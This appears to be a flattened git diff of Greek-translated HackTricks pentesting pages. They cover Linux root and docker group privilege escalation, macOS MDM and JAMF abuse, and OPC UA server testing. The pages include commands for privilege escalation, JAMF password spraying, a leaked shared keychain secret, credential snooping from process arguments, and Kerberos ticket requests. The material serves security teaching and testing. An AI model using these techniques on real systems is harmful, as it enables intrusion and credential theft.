Φαίνεται ότι από προεπιλογή οι **μέλη της ομάδας root** θα μπορούσαν να έχουν πρόσβαση για **τροποποίηση** ορισμένων αρχείων ρυθμίσεων **υπηρεσιών** ή ορισμένων αρχείων **βιβλιοθηκών** ή **άλλων ενδιαφερόντων πραγμάτων** που θα μπορούσαν να χρησιμοποιηθούν για την κλιμάκωση δικαιωμάτων... Φαίνεται ότι από προεπιλογή οι **μέλη της ομάδας root** θα μπορούσαν να έχουν πρόσβαση για **τροποποίηση** ορισμένων αρχείων ρυθμίσεων **υπηρεσιών** ή ορισμένων αρχείων **βιβλιοθηκών** ή **άλλων ενδιαφερόντων πραγμάτων** που θα μπορούσαν να χρησιμοποιηθούν για την αναβάθμιση δικαιωμάτων...
**Ελέγξτε ποια αρχεία μπορούν να τροποποιήσουν τα μέλη του root**: **Ελέγξτε ποια αρχεία μπορούν να τροποποιήσουν τα μέλη του root**:
```bash ```bash
@ -144,7 +150,7 @@ find / -group root -perm -g=w 2>/dev/null
``` ```
# Docker Group # Docker Group
Μπορείτε να προσαρτήσετε το ριζικό σύστημα αρχείων της μηχανής φιλοξενίας σε έναν όγκο της παρουσίας, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή. Μπορείτε να προσαρτήσετε το ριζικό σύστημα αρχείων της μηχανής-οικοδεσπότη σε έναν όγκο της παρουσίας, έτσι ώστε όταν η παρουσία ξεκινά, να φορτώνει αμέσως ένα `chroot` σε αυτόν τον όγκο. Αυτό σας δίνει ουσιαστικά δικαιώματα root στη μηχανή.
{% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %} {% embed url="https://github.com/KrustyHack/docker-privilege-escalation" %}
@ -154,17 +160,25 @@ find / -group root -perm -g=w 2>/dev/null
[lxc - Privilege Escalation](lxd-privilege-escalation.md) [lxc - Privilege Escalation](lxd-privilege-escalation.md)
<figure><img src="/.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
Χρησιμοποιήστε [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=command-injection) για να δημιουργήσετε και να **αυτοματοποιήσετε ροές εργασίας** που υποστηρίζονται από τα **πιο προηγμένα** εργαλεία της κοινότητας.\
Αποκτήστε πρόσβαση σήμερα:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=command-injection" %}
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}

View file

@ -1,26 +1,34 @@
# macOS Red Teaming # macOS Red Teaming
{% hint style="success" %} {% hint style="success" %}
Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary>Support HackTricks</summary> <summary>Υποστήριξη HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! * Ελέγξτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις εφαρμογές σας, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφαλείας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένα exploits για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή δουλειά σας σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Κατάχρηση MDMs ## Κατάχρηση MDMs
* JAMF Pro: `jamf checkJSSConnection` * JAMF Pro: `jamf checkJSSConnection`
* Kandji * Kandji
Αν καταφέρετε να **συμβιβάσετε τα διαπιστευτήρια διαχειριστή** για να αποκτήσετε πρόσβαση στην πλατφόρμα διαχείρισης, μπορείτε να **συμβιβάσετε δυνητικά όλους τους υπολογιστές** διανέμοντας το κακόβουλο λογισμικό σας στις μηχανές. Εάν καταφέρετε να **συμβιβάσετε τα διαπιστευτήρια διαχειριστή** για να αποκτήσετε πρόσβαση στην πλατφόρμα διαχείρισης, μπορείτε να **συμβιβάσετε δυνητικά όλους τους υπολογιστές** διανέμοντας το κακόβουλο λογισμικό σας στις μηχανές.
Για red teaming σε περιβάλλοντα MacOS, συνιστάται να έχετε κάποια κατανόηση του πώς λειτουργούν τα MDMs: Για red teaming σε περιβάλλοντα MacOS, συνιστάται να έχετε κάποια κατανόηση του πώς λειτουργούν τα MDMs:
@ -30,27 +38,27 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
### Χρήση MDM ως C2 ### Χρήση MDM ως C2
Ένα MDM θα έχει άδεια να εγκαθιστά, να ερωτά ή να αφαιρεί προφίλ, να εγκαθιστά εφαρμογές, να δημιουργεί τοπικούς λογαριασμούς διαχειριστή, να ορίζει κωδικό firmware, να αλλάζει το κλειδί FileVault... Ένα MDM θα έχει άδεια να εγκαθιστά, να ερωτά ή να αφαιρεί προφίλ, να εγκαθιστά εφαρμογές, να δημιουργεί τοπικούς λογαριασμούς διαχειριστή, να ορίζει κωδικό πρόσβασης firmware, να αλλάζει το κλειδί FileVault...
Για να τρέξετε το δικό σας MDM χρειάζεστε **το CSR σας υπογεγραμμένο από έναν προμηθευτή** που θα μπορούσατε να προσπαθήσετε να αποκτήσετε με [**https://mdmcert.download/**](https://mdmcert.download/). Και για να τρέξετε το δικό σας MDM για συσκευές Apple, μπορείτε να χρησιμοποιήσετε [**MicroMDM**](https://github.com/micromdm/micromdm). Για να εκτελέσετε το δικό σας MDM, χρειάζεστε **το CSR σας υπογεγραμμένο από έναν προμηθευτή** που θα μπορούσατε να προσπαθήσετε να αποκτήσετε με [**https://mdmcert.download/**](https://mdmcert.download/). Και για να εκτελέσετε το δικό σας MDM για συσκευές Apple, μπορείτε να χρησιμοποιήσετε [**MicroMDM**](https://github.com/micromdm/micromdm).
Ωστόσο, για να εγκαταστήσετε μια εφαρμογή σε μια εγγεγραμμένη συσκευή, χρειάζεται ακόμα να είναι υπογεγραμμένη από έναν λογαριασμό προγραμματιστή... ωστόσο, κατά την εγγραφή MDM, η **συσκευή προσθέτει το SSL cert του MDM ως αξιόπιστη CA**, οπότε μπορείτε τώρα να υπογράψετε οτιδήποτε. Ωστόσο, για να εγκαταστήσετε μια εφαρμογή σε μια εγγεγραμμένη συσκευή, χρειάζεται ακόμα να είναι υπογεγραμμένη από έναν λογαριασμό προγραμματιστή... ωστόσο, κατά την εγγραφή MDM, η **συσκευή προσθέτει το SSL cert του MDM ως αξιόπιστο CA**, οπότε μπορείτε τώρα να υπογράψετε οτιδήποτε.
Για να εγγραφεί η συσκευή σε ένα MDM, πρέπει να εγκαταστήσετε ένα **`mobileconfig`** αρχείο ως root, το οποίο θα μπορούσε να παραδοθεί μέσω ενός **pkg** αρχείου (μπορείτε να το συμπιέσετε σε zip και όταν κατεβεί από το safari θα αποσυμπιεστεί). Για να εγγραφεί η συσκευή σε ένα MDM, πρέπει να εγκαταστήσετε ένα **`mobileconfig`** αρχείο ως root, το οποίο θα μπορούσε να παραδοθεί μέσω ενός **pkg** αρχείου (μπορείτε να το συμπιέσετε σε zip και όταν κατεβεί από το safari θα αποσυμπιεστεί).
**Mythic agent Orthrus** χρησιμοποιεί αυτή την τεχνική. **Ο μύθος πράκτορας Orthrus** χρησιμοποιεί αυτή την τεχνική.
### Κατάχρηση JAMF PRO ### Κατάχρηση JAMF PRO
Το JAMF μπορεί να εκτελεί **προσαρμοσμένα σενάρια** (σενάρια που αναπτύχθηκαν από τον sysadmin), **εγγενείς payloads** (δημιουργία τοπικού λογαριασμού, ορισμός κωδικού EFI, παρακολούθηση αρχείων/διεργασιών...) και **MDM** (ρυθμίσεις συσκευής, πιστοποιητικά συσκευής...). Η JAMF μπορεί να εκτελεί **προσαρμοσμένα σενάρια** (σενάρια που αναπτύχθηκαν από τον sysadmin), **εγγενείς payloads** (δημιουργία τοπικού λογαριασμού, ορισμός κωδικού EFI, παρακολούθηση αρχείων/διαδικασιών...) και **MDM** (ρυθμίσεις συσκευής, πιστοποιητικά συσκευής...).
#### Αυτοεγγραφή JAMF #### Αυτοεγγραφή JAMF
Πηγαίνετε σε μια σελίδα όπως `https://<company-name>.jamfcloud.com/enroll/` για να δείτε αν έχουν **ενεργοποιήσει την αυτοεγγραφή**. Αν το έχουν, μπορεί να **ζητήσει διαπιστευτήρια για πρόσβαση**. Μεταβείτε σε μια σελίδα όπως `https://<company-name>.jamfcloud.com/enroll/` για να δείτε αν έχουν **επιτρέψει την αυτοεγγραφή**. Εάν το έχουν, μπορεί να **ζητήσει διαπιστευτήρια για πρόσβαση**.
Μπορείτε να χρησιμοποιήσετε το σενάριο [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) για να εκτελέσετε μια επίθεση password spraying. Μπορείτε να χρησιμοποιήσετε το σενάριο [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) για να εκτελέσετε μια επίθεση password spraying.
Επιπλέον, αφού βρείτε κατάλληλα διαπιστευτήρια, θα μπορούσατε να είστε σε θέση να σπάσετε άλλους χρήστες με την επόμενη φόρμα: Επιπλέον, αφού βρείτε τα κατάλληλα διαπιστευτήρια, θα μπορούσατε να είστε σε θέση να σπάσετε άλλους χρήστες με την επόμενη φόρμα:
![](<../../.gitbook/assets/image (107).png>) ![](<../../.gitbook/assets/image (107).png>)
@ -58,10 +66,10 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
<figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (167).png" alt=""><figcaption></figcaption></figure>
Το **`jamf`** δυαδικό περιείχε το μυστικό για να ανοίξει το keychain το οποίο κατά την ανακάλυψη ήταν **κοινό** μεταξύ όλων και ήταν: **`jk23ucnq91jfu9aj`**.\ Ο **`jamf`** δυαδικός περιέχει το μυστικό για να ανοίξει το keychain το οποίο κατά την ανακάλυψη ήταν **κοινό** μεταξύ όλων και ήταν: **`jk23ucnq91jfu9aj`**.\
Επιπλέον, το jamf **επιμένει** ως **LaunchDaemon** στο **`/Library/LaunchAgents/com.jamf.management.agent.plist`** Επιπλέον, το jamf **επιμένει** ως **LaunchDaemon** στο **`/Library/LaunchAgents/com.jamf.management.agent.plist`**
#### Κατάληψη Συσκευής JAMF #### Κατάληψη συσκευής JAMF
Η **JSS** (Jamf Software Server) **URL** που θα χρησιμοποιήσει το **`jamf`** βρίσκεται στο **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ Η **JSS** (Jamf Software Server) **URL** που θα χρησιμοποιήσει το **`jamf`** βρίσκεται στο **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\
Αυτό το αρχείο περιέχει βασικά την URL: Αυτό το αρχείο περιέχει βασικά την URL:
@ -105,7 +113,7 @@ sudo jamf policy -id 0
Μπορείς επίσης να παρακολουθήσεις την τοποθεσία `/Library/Application Support/Jamf/tmp/` για τα **custom scripts** που οι διαχειριστές μπορεί να θέλουν να εκτελέσουν μέσω Jamf καθώς **τοποθετούνται εδώ, εκτελούνται και αφαιρούνται**. Αυτά τα scripts **μπορεί να περιέχουν διαπιστευτήρια**. Μπορείς επίσης να παρακολουθήσεις την τοποθεσία `/Library/Application Support/Jamf/tmp/` για τα **custom scripts** που οι διαχειριστές μπορεί να θέλουν να εκτελέσουν μέσω Jamf καθώς **τοποθετούνται εδώ, εκτελούνται και αφαιρούνται**. Αυτά τα scripts **μπορεί να περιέχουν διαπιστευτήρια**.
Ωστόσο, τα **διαπιστευτήρια** μπορεί να περάσουν σε αυτά τα scripts ως **παράμετροι**, οπότε θα χρειαστεί να παρακολουθήσεις `ps aux | grep -i jamf` (χωρίς καν να είσαι root). Ωστόσο, **τα διαπιστευτήρια** μπορεί να περάσουν σε αυτά τα scripts ως **παράμετροι**, οπότε θα χρειαστεί να παρακολουθήσεις `ps aux | grep -i jamf` (χωρίς καν να είσαι root).
Το script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) μπορεί να ακούει για νέα αρχεία που προστίθενται και νέα επιχειρήματα διαδικασίας. Το script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) μπορεί να ακούει για νέα αρχεία που προστίθενται και νέα επιχειρήματα διαδικασίας.
@ -140,7 +148,7 @@ dscl "/Active Directory/[Domain]/All Domains" ls /
Επίσης, υπάρχουν μερικά εργαλεία προετοιμασμένα για το MacOS για αυτόματη καταμέτρηση του AD και αλληλεπίδραση με το kerberos: Επίσης, υπάρχουν μερικά εργαλεία προετοιμασμένα για το MacOS για αυτόματη καταμέτρηση του AD και αλληλεπίδραση με το kerberos:
* [**Machound**](https://github.com/XMCyber/MacHound): Το MacHound είναι μια επέκταση του εργαλείου ελέγχου Bloodhound που επιτρέπει τη συλλογή και την εισαγωγή σχέσεων Active Directory σε MacOS hosts. * [**Machound**](https://github.com/XMCyber/MacHound): Το MacHound είναι μια επέκταση του εργαλείου ελέγχου Bloodhound που επιτρέπει τη συλλογή και την εισαγωγή σχέσεων Active Directory σε MacOS hosts.
* [**Bifrost**](https://github.com/its-a-feature/bifrost): Το Bifrost είναι ένα έργο Objective-C σχεδιασμένο για αλληλεπίδραση με τα APIs Heimdal krb5 στο macOS. Ο στόχος του έργου είναι να επιτρέψει καλύτερη δοκιμή ασφάλειας γύρω από το Kerberos σε συσκευές macOS χρησιμοποιώντας εγγενή APIs χωρίς να απαιτείται κανένα άλλο πλαίσιο ή πακέτα στον στόχο. * [**Bifrost**](https://github.com/its-a-feature/bifrost): Το Bifrost είναι ένα έργο Objective-C σχεδιασμένο για αλληλεπίδραση με τα APIs Heimdal krb5 στο macOS. Ο στόχος του έργου είναι να επιτρέψει καλύτερη ασφάλεια δοκιμών γύρω από το Kerberos σε συσκευές macOS χρησιμοποιώντας εγγενή APIs χωρίς να απαιτείται κανένα άλλο πλαίσιο ή πακέτα στον στόχο.
* [**Orchard**](https://github.com/its-a-feature/Orchard): Εργαλείο JavaScript for Automation (JXA) για την καταμέτρηση Active Directory. * [**Orchard**](https://github.com/its-a-feature/Orchard): Εργαλείο JavaScript for Automation (JXA) για την καταμέτρηση Active Directory.
### Πληροφορίες Τομέα ### Πληροφορίες Τομέα
@ -152,7 +160,7 @@ echo show com.apple.opendirectoryd.ActiveDirectory | scutil
Οι τρεις τύποι χρηστών MacOS είναι: Οι τρεις τύποι χρηστών MacOS είναι:
* **Τοπικοί Χρήστες** — Διαχειρίζονται από την τοπική υπηρεσία OpenDirectory, δεν συνδέονται με κανέναν τρόπο με το Active Directory. * **Τοπικοί Χρήστες** — Διαχειρίζονται από την τοπική υπηρεσία OpenDirectory, δεν συνδέονται με κανέναν τρόπο με το Active Directory.
* **Δικτυακοί Χρήστες** — Μεταβλητοί χρήστες Active Directory που απαιτούν σύνδεση με τον διακομιστή DC για να αυθεντικοποιηθούν. * **Δικτυακοί Χρήστες** — Μεταβλητοί χρήστες Active Directory που απαιτούν σύνδεση με τον διακομιστή DC για αυθεντικοποίηση.
* **Κινητοί Χρήστες** — Χρήστες Active Directory με τοπικό αντίγραφο ασφαλείας για τα διαπιστευτήρια και τα αρχεία τους. * **Κινητοί Χρήστες** — Χρήστες Active Directory με τοπικό αντίγραφο ασφαλείας για τα διαπιστευτήρια και τα αρχεία τους.
Οι τοπικές πληροφορίες σχετικά με τους χρήστες και τις ομάδες αποθηκεύονται στον φάκελο _/var/db/dslocal/nodes/Default._\ Οι τοπικές πληροφορίες σχετικά με τους χρήστες και τις ομάδες αποθηκεύονται στον φάκελο _/var/db/dslocal/nodes/Default._\
@ -212,14 +220,14 @@ bifrost --action asktgt --username test_lab_admin \
bifrost --action asktgs --spn [service] --domain [domain.com] \ bifrost --action asktgs --spn [service] --domain [domain.com] \
--username [user] --hash [hash] --enctype [enctype] --username [user] --hash [hash] --enctype [enctype]
``` ```
Με τα αποκτηθέντα εισιτήρια υπηρεσιών είναι δυνατή η προσπάθεια πρόσβασης σε κοινόχρηστα αρχεία σε άλλους υπολογιστές: Με τα αποκτηθέντα εισιτήρια υπηρεσίας είναι δυνατή η προσπάθεια πρόσβασης σε κοινόχρηστα αρχεία σε άλλους υπολογιστές:
```bash ```bash
smbutil view //computer.fqdn smbutil view //computer.fqdn
mount -t smbfs //server/folder /local/mount/point mount -t smbfs //server/folder /local/mount/point
``` ```
## Πρόσβαση στο Keychain ## Πρόσβαση στο Keychain
Το Keychain περιέχει πιθανότατα ευαίσθητες πληροφορίες που αν αποκτηθούν χωρίς να δημιουργηθεί προτροπή θα μπορούσαν να βοηθήσουν στην προώθηση μιας άσκησης red team: Το Keychain περιέχει πιθανότατα ευαίσθητες πληροφορίες που αν αποκτηθούν χωρίς να παραχθεί προτροπή θα μπορούσαν να βοηθήσουν στην προώθηση μιας άσκησης red team:
{% content-ref url="macos-keychain.md" %} {% content-ref url="macos-keychain.md" %}
[macos-keychain.md](macos-keychain.md) [macos-keychain.md](macos-keychain.md)
@ -245,6 +253,14 @@ mount -t smbfs //server/folder /local/mount/point
* [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY) * [**Come to the Dark Side, We Have Apples: Turning macOS Management Evil**](https://www.youtube.com/watch?v=pOQOh07eMxY)
* [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA) * [**OBTS v3.0: "An Attackers Perspective on Jamf Configurations" - Luke Roberts / Calum Hall**](https://www.youtube.com/watch?v=ju1IYWUv4ZA)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\ Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte) Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

View file

@ -15,9 +15,17 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details> </details>
{% endhint %} {% endhint %}
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Get a hacker's perspective on your web apps, network, and cloud
**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
## Basic Information ## Basic Information
**OPC UA**, που σημαίνει **Open Platform Communications Unified Access**, είναι ένα κρίσιμο πρωτόκολλο ανοιχτού κώδικα που χρησιμοποιείται σε διάφορες βιομηχανίες όπως η Κατασκευή, η Ενέργεια, η Αεροδιαστημική και η Άμυνα για την ανταλλαγή δεδομένων και τον έλεγχο εξοπλισμού. Δίνει τη δυνατότητα σε εξοπλισμό διαφορετικών προμηθευτών να επικοινωνεί, ειδικά με PLCs. **OPC UA**, που σημαίνει **Open Platform Communications Unified Access**, είναι ένα κρίσιμο πρωτόκολλο ανοιχτού κώδικα που χρησιμοποιείται σε διάφορες βιομηχανίες όπως η Κατασκευή, η Ενέργεια, η Αεροδιαστημική και η Άμυνα για την ανταλλαγή δεδομένων και τον έλεγχο εξοπλισμού. Δίνει τη δυνατότητα σε εξοπλισμούς διαφορετικών προμηθευτών να επικοινωνούν, ειδικά με PLCs.
Η διαμόρφωσή του επιτρέπει ισχυρά μέτρα ασφαλείας, αλλά συχνά, για συμβατότητα με παλαιότερες συσκευές, αυτά μειώνονται, εκθέτοντας τα συστήματα σε κινδύνους. Επιπλέον, η εύρεση υπηρεσιών OPC UA μπορεί να είναι δύσκολη, καθώς οι σαρωτές δικτύου ενδέχεται να μην τις ανιχνεύσουν αν βρίσκονται σε μη τυπικές θύρες. Η διαμόρφωσή του επιτρέπει ισχυρά μέτρα ασφαλείας, αλλά συχνά, για συμβατότητα με παλαιότερες συσκευές, αυτά μειώνονται, εκθέτοντας τα συστήματα σε κινδύνους. Επιπλέον, η εύρεση υπηρεσιών OPC UA μπορεί να είναι δύσκολη, καθώς οι σαρωτές δικτύου ενδέχεται να μην τις ανιχνεύσουν αν βρίσκονται σε μη τυπικές θύρες.
@ -28,13 +36,13 @@ PORT STATE SERVICE REASON
``` ```
## Pentesting OPC UA ## Pentesting OPC UA
Για να αποκαλύψετε ζητήματα ασφάλειας στους διακομιστές OPC UA, σαρώστε το με [OpalOPC](https://opalopc.com/). Για να αποκαλύψετε ζητήματα ασφάλειας στους διακομιστές OPC UA, σαρώστε το με το [OpalOPC](https://opalopc.com/).
```bash ```bash
opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
``` ```
### Εκμετάλλευση ευπαθειών ### Εκμετάλλευση ευπαθειών
Εάν βρεθούν ευπάθειες παράκαμψης ταυτοποίησης, μπορείτε να ρυθμίσετε έναν [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) αναλόγως και να δείτε τι μπορείτε να αποκτήσετε πρόσβαση. Αυτό μπορεί να επιτρέψει οτιδήποτε, από την απλή ανάγνωση τιμών διαδικασίας μέχρι την πραγματική λειτουργία βαρέων βιομηχανικών εξοπλισμών. Εάν βρεθούν ευπάθειες παράκαμψης ταυτοποίησης, μπορείτε να ρυθμίσετε έναν [OPC UA client](https://www.prosysopc.com/products/opc-ua-browser/) αναλόγως και να δείτε τι μπορείτε να αποκτήσετε πρόσβαση. Αυτό μπορεί να επιτρέψει οτιδήποτε, από την απλή ανάγνωση τιμών διαδικασίας έως την πραγματική λειτουργία βαρέων βιομηχανικών εξοπλισμών.
Για να αποκτήσετε μια ένδειξη της συσκευής στην οποία έχετε πρόσβαση, διαβάστε τις τιμές κόμβου "ServerStatus" στον χώρο διευθύνσεων και αναζητήστε ένα εγχειρίδιο χρήσης. Για να αποκτήσετε μια ένδειξη της συσκευής στην οποία έχετε πρόσβαση, διαβάστε τις τιμές κόμβου "ServerStatus" στον χώρο διευθύνσεων και αναζητήστε ένα εγχειρίδιο χρήσης.
@ -46,17 +54,25 @@ opalopc -vv opc.tcp://$target_ip_or_hostname:$target_port
* [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/) * [https://opalopc.com/how-to-hack-opc-ua/](https://opalopc.com/how-to-hack-opc-ua/)
<figure><img src="/.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
#### Αποκτήστε την προοπτική ενός χάκερ για τις διαδικτυακές σας εφαρμογές, το δίκτυο και το cloud
**Βρείτε και αναφέρετε κρίσιμες, εκμεταλλεύσιμες ευπάθειες με πραγματικό επιχειρηματικό αντίκτυπο.** Χρησιμοποιήστε τα 20+ προσαρμοσμένα εργαλεία μας για να χαρτογραφήσετε την επιφάνεια επίθεσης, να βρείτε ζητήματα ασφάλειας που σας επιτρέπουν να κλιμακώσετε προνόμια και να χρησιμοποιήσετε αυτοματοποιημένες εκμεταλλεύσεις για να συλλέξετε βασικά αποδεικτικά στοιχεία, μετατρέποντας τη σκληρή σας δουλειά σε πειστικές αναφορές.
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
{% hint style="success" %} {% hint style="success" %}
